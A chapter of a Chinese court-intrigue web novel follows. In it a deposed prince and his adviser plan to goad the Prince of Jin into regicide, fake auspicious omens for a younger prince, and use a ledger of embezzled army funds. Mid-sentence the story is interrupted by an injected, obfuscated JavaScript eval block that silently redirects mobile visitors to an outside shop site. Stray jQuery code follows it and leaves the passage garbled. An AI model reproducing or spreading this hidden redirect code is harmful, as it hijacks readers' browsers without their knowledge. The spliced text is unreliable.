沈临漳眼神冰冷:“晋王谋反就让他反,他不反就逼他反。”
“王爷是什么意思?”宋怀安有些错愕。
“只有晋王反了,咱们才有机会,将他们二人统统除掉,不是吗?而且是顺理成章!”
“王爷的意思?”宋怀安不确定的问。
“逼晋王谋反,等晋王弑君之后,再以勤王之名救驾!”
宋怀安倒吸一口气。
不过细想之后,又觉得不是不可以,只是比较危险,稍有不慎,所有人都万劫不复。
“王爷已经想好了?”
“不亲手杀了这两人,难解我心头之恨!”
沈临漳眼里的恨意快要迸发出来。
“从我被废开始,早就没有别的选择。他日若是晋王登基,凭他对我的恨意,岂会给我留活路?”
“我和他之间本就只有你死我活,既然如此,何不亲手送他一程!他也本就有那个心思,我们要做的,不过就是推波助澜而已。”
沈临漳说这些时,面色平淡,看样子已经有了计划。
宋怀安看他运筹帷幄的样子,不禁又想起从前和他一起去蜀地治理瘟疫时,他的从容不迫。
还有面对边关蛮夷时,他也是这样一副运筹帷幄的样子。
“王爷是不是有了计划?不妨说出来听听。”
沈临漳确实已经有了计划,他看向宋怀安,缓缓开口。
“自从知道我的手废了之后,晋王现在对我已经没了忌惮,我在他眼里已经没了威胁。”
“他现在一定以为,只要他以后安分守己,皇上就会传位给他。有荣国公在,他的出身又高过其他皇子,皇位不传给他还能传给谁?”
“那我们怎么办?王爷再重新回到朝堂?”
流风接话道:“朝堂上还有不少咱们的人,王爷回到朝堂也不是没有和他一争的能力。”
沈临漳摇摇头。
“我暂时不会回到朝堂,想逼晋王,不是非得在朝堂上压制他。只要让他知道,皇上除了他,还有别的人选即可。”
宋怀安皱眉,十分不解。
“眼下没人能和晋王相争,其他皇子出身不显,能力也一般,朝堂上也没有支持他们的人。”
沈临漳轻笑:“成年皇子确实没人能和他争,不过咱们的皇上如今疑心深重,如今已经开始忌惮起晋王了。
他应该也很想压制晋王,就算压制不了,也要让他有所顾忌。”
“我们可以给皇上送上一个人选,让晋王知道皇上除了他之外,还有别的人选。”
沈临漳说到这,宋怀安大致猜到他的意图。
“王爷是想让晋王产生危机,进而不得不谋反。”
沈临漳看向宋怀安点点头,对他这么快就明白了自己的意图,十分赞赏。
“皇上如今除了方外之人谁都不信,咱们正好利用这点。”
“我记得下个初六,是七皇子生辰。到时想办法让净空方丈进宫,替七皇子批命,就说他命格奇特,能庇佑皇上,将来若是登基还能造就不世之功。”
沈临漳看向流云开口道。
“传信给宫里的人,让他们准备好,给七皇子制造几次替皇上挡灾的时机,让他们见机行事。”
“是!属下这就去办!”
流云转身出去,留下宋怀安和沈临漳在书房。
“给七皇子制造机会容易,可怎么让净空方丈进宫?”
“皇上屡次发生意外,自然会想到请净空方丈进宫祈福。”
“原来如此。”
说完这件事事情之后,沈临漳又翻开账本查看。
看完之后发现,徐志元这几年竟然贪了五十多万两银子,其中三十万两送去了西北。
剩下的二十多万两,其中十多万两送给晋王打点疏通,还有十万两银子则被徐志元装进自己的口袋里。
“这徐志元胆子真大!他竟敢贪污这么多!”
宋怀安看完账本,感到一阵心惊。
“流云不是说,密室里还有七八个箱子吗?”沈临漳缓缓说道。
“那七八个箱子也装不下十万两银子,一定被他藏到其他地方去了。”
沈临漳摇头,“应该就是那几个箱子了,他儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14217586|151171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
徐济同这几年挥霍不少,加上徐志元自己用掉的,还剩七八个箱子也对的上。”
宋怀安还是不太相信,“五年能花掉十来万两?”
沈临漳见他惊讶,也不觉奇怪。
宋怀安出身寒微,哪里能想到权贵纸醉金迷的生活。
区区十万两银子而已,哪够他们挥霍。
他相信,要不是徐志元顾及银子的出处,这十万两根本不可能还有剩余。
“先生不必惊讶,十万两而已。要是让他们随便花,早就花完了。”
宋怀安还是很难想象。
“是我见识浅薄了!”
沈临漳见他面露灰心,随即开口安慰。
“先生心怀大志,岂是那些只知享乐的纨绔能比!”
宋怀安点点头,又摇摇头,心里涌起悲凉之意。
“那这账本,我们要怎么利用?直接呈交给陛下吗?”宋怀安问道。
沈临漳沉
思片刻。“过几日把这账本送到柳相手上,这几天让我们的人准备好,徐志元敢贪污这么多军饷,兵部一定有人和他同流合污。”
“徐志元一旦被问罪,除了兵部尚书的位置空出来,其他地方也有不少位置,届时把我们的人放进去。”
这些宋怀安都记下了,随后他又问道:“那晋王呢?”
“账本上记得清楚,徐志元贪的钱,都交给了晋王,晋王自然跑不掉。晋王拿了这么多钱,皇上也会怀疑晋王是不是拿钱干了别的事,比如养兵!”
“只要皇上怀疑晋王养兵,晋王就会害怕暴露,而唯一不暴露的办法,就是让徐志元承认,他贪的钱全都被他自己私藏了。
到时候晋王肯定会逼徐志承认的,我们只要等候时机,杀了徐志元,来个死无对证即可。”
宋怀安微微点头,可又感觉哪里不对,眉头不自觉皱在一起。
“王爷,要让皇上相信银子都是徐志元自己贪的,那银子的数目得对上才行啊!可他只拿了十万两,剩下的四十万多万两,若是找不到,皇上也不会相信是徐志元一人所为。到时候,皇上还会怀疑到晋王的头上。”